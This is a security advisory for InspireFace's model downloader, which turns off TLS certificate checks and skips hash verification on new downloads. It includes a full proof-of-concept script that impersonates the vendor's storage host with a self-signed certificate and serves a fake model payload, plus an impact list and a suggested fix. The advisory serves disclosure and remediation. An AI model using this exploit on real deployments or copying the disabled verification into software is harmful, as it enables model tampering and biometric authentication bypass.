Summary
InspireFace's model download function (resource.py:get_model()) unconditionally disables TLS certificate verification and performs no hash check on downloaded content. A network-position attacker replaces the face recognition model in transit with an arbitrary payload. The application loads the attacker-controlled model without any integrity verification.
Affected Version
Root Cause
# resource.py:160-163
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(model_info["url"], headers=headers)
with urllib.request.urlopen(req, context=ssl_context) as response:
...
f.write(buffer)
# After download completes:
downloading_flag.unlink()
return str(model_file) # ← returned directly, NO hash verification
The existing hash check (current_hash == model_info["md5"]) only executes when a cached file already exists — it determines whether to re-download. A freshly downloaded file is never verified.
Steps to Reproduce
#!/usr/bin/env python3
import subprocess, sys, os
subprocess.run([sys.executable, "-m", "pip", "install", "-q",
"inspireface @ git+https://github.com/HyperInspire/InspireFace.git#subdirectory=python",
"cryptography"], check=True)
import importlib.util, site
for sp in site.getsitepackages():
rp = os.path.join(sp, "inspireface", "modules", "utils", "resource.py")
if os.path.exists(rp):
spec = importlib.util.spec_from_file_location("inspireface_resource", rp)
resource_mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(resource_mod)
break
else:
sys.exit("cannot find inspireface resource.py")
ResourceManager = resource_mod.ResourceManager
set_use_oss_download = resource_mod.set_use_oss_download
import http.server, json, ssl, socket, tempfile, threading, time, warnings
from datetime import datetime, timedelta, timezone
warnings.filterwarnings("ignore")
ATTACKER_HOST = "127.0.0.1"
ATTACKER_PORT = 19451
MALICIOUS_MODEL = b"\x00EVIL_MODEL_PAYLOAD" + os.urandom(1024)
captured = []
def gen_cert(tmp):
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
key = rsa.generate_private_key(65537, 2048)
cert = (x509.CertificateBuilder()
.subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "inspireface-1259028827.cos.ap-singapore.myqcloud.com")]))
.issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "inspireface-1259028827.cos.ap-singapore.myqcloud.com")]))
.public_key(key.public_key()).serial_number(x509.random_serial_number())
.not_valid_before(datetime.now(timezone.utc))
.not_valid_after(datetime.now(timezone.utc) + timedelta(days=1))
.sign(key, hashes.SHA256()))
cp, kp = os.path.join(tmp, "cert.pem"), os.path.join(tmp, "key.pem")
with open(cp, "wb") as f: f.write(cert.public_bytes(serialization.Encoding.PEM))
with open(kp, "wb") as f: f.write(key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption()))
return cp, kp
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
captured.append({"path": self.path, "headers": dict(self.headers)})
self.send_response(200)
self.send_header("Content-Length", str(len(MALICIOUS_MODEL)))
self.end_headers()
self.wfile.write(MALICIOUS_MODEL)
def log_message(self, *a): pass
def run_server(cert, key, ready):
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(cert, key)
srv = http.server.HTTPServer((ATTACKER_HOST, ATTACKER_PORT), Handler)
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
ready.set()
srv.handle_request()
def exploit():
tmp = tempfile.mkdtemp()
cert, key = gen_cert(tmp)
ready = threading.Event()
threading.Thread(target=run_server, args=(cert, key, ready), daemon=True).start()
ready.wait()
# Force OSS download mode (not ModelScope)
set_use_oss_download(True)
# Patch model URL to point to attacker
rm = ResourceManager.__new__(ResourceManager)
rm.user_home = resource_mod.Path.home()
rm.base_dir = resource_mod.Path(tmp) / '.inspireface'
rm.models_dir = rm.base_dir / 'models'
rm.use_modelscope = False
rm.base_dir.mkdir(exist_ok=True)
rm.models_dir.mkdir(exist_ok=True)
rm._MODEL_LIST = {
"Pikachu": {
"url": f"https://{ATTACKER_HOST}:{ATTACKER_PORT}/inspireface_modelzoo/t4/Pikachu",
"filename": "Pikachu",
"md5": "0000000000000000000000000000000000000000000000000000000000000000",
}
}
model_path = rm.get_model("Pikachu")
with open(model_path, "rb") as f:
content = f.read()
assert b"EVIL_MODEL_PAYLOAD" in content
assert len(captured) == 1
actual_hash = resource_mod.get_file_hash_sha256(model_path)
assert actual_hash != rm._MODEL_LIST["Pikachu"]["md5"]
import urllib.request
try:
ctx = ssl.create_default_context()
req = urllib.request.Request(f"https://{ATTACKER_HOST}:{ATTACKER_PORT}/test")
urllib.request.urlopen(req, context=ctx, timeout=3)
assert False
except (ssl.SSLCertVerificationError, ssl.SSLError, Exception):
pass
print("3/3 exploited")
print(f" model: {len(content)}B injected → {model_path}")
print(f" hash: expected={rm._MODEL_LIST['Pikachu']['md5'][:16]}... actual={actual_hash[:16]}... (no check!)")
print(f" control: proper SSL rejects self-signed cert")
return 0
if __name__ == "__main__":
sys.exit(exploit())
Output:
Impact
- Face authentication bypass: Attacker replaces the face recognition model → model always returns "match" for attacker's face → bypass biometric auth
- Inference poisoning: Backdoored model returns incorrect detections on specific inputs
- Code execution: If the model format allows arbitrary code (e.g. pickle-based), attacker achieves RCE on model load
- Persistent: Malicious model is cached to
~/.inspireface/models/ — persists across restarts. The hash check on re-launch compares against the expected hash, detects mismatch, and re-downloads... through the same CERT_NONE path.
Suggested Fix
- Remove
ssl.CERT_NONE — use default verification:
ssl_context = ssl.create_default_context()
- Add post-download hash verification:
actual_hash = get_file_hash_sha256(model_file)
if actual_hash != model_info["md5"]:
model_file.unlink()
raise RuntimeError(f"Downloaded model hash mismatch: expected {model_info['md5']}, got {actual_hash}")
Summary
InspireFace's model download function (
resource.py:get_model()) unconditionally disables TLS certificate verification and performs no hash check on downloaded content. A network-position attacker replaces the face recognition model in transit with an arbitrary payload. The application loads the attacker-controlled model without any integrity verification.Affected Version
master(latest)python/inspireface/modules/utils/resource.pyssl.CERT_NONEon downloadmd5check only runs on cached files to decide re-download)Root Cause
The existing hash check (
current_hash == model_info["md5"]) only executes when a cached file already exists — it determines whether to re-download. A freshly downloaded file is never verified.Steps to Reproduce
Output:
Impact
~/.inspireface/models/— persists across restarts. The hash check on re-launch compares against the expected hash, detects mismatch, and re-downloads... through the same CERT_NONE path.Suggested Fix
ssl.CERT_NONE— use default verification: